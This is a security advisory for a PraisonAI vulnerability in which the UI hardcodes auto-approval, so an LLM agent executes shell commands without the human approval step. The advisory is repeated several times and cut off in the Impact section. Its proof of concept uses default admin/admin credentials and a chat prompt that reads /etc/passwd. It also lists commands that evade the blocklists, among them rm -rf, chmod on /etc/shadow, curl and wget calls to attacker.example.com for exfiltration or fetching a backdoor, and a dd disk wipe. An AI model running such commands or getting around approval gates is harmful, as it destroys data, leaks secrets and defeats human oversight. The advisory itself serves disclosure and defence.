CVE-2026-56075

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r
2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

• rm -rf /home/user/documents — no blocked characters
• chmod 777 /etc/shadow — no blocked characters
• curl http://attacker.example.com/exfil — no blocked characters
• wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
• python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

• Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to…

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r
2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

• rm -rf /home/user/documents — no blocked characters
• chmod 777 /etc/shadow — no blocked characters
• curl http://attacker.example.com/exfil — no blocked characters
• wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
• python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

• Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to…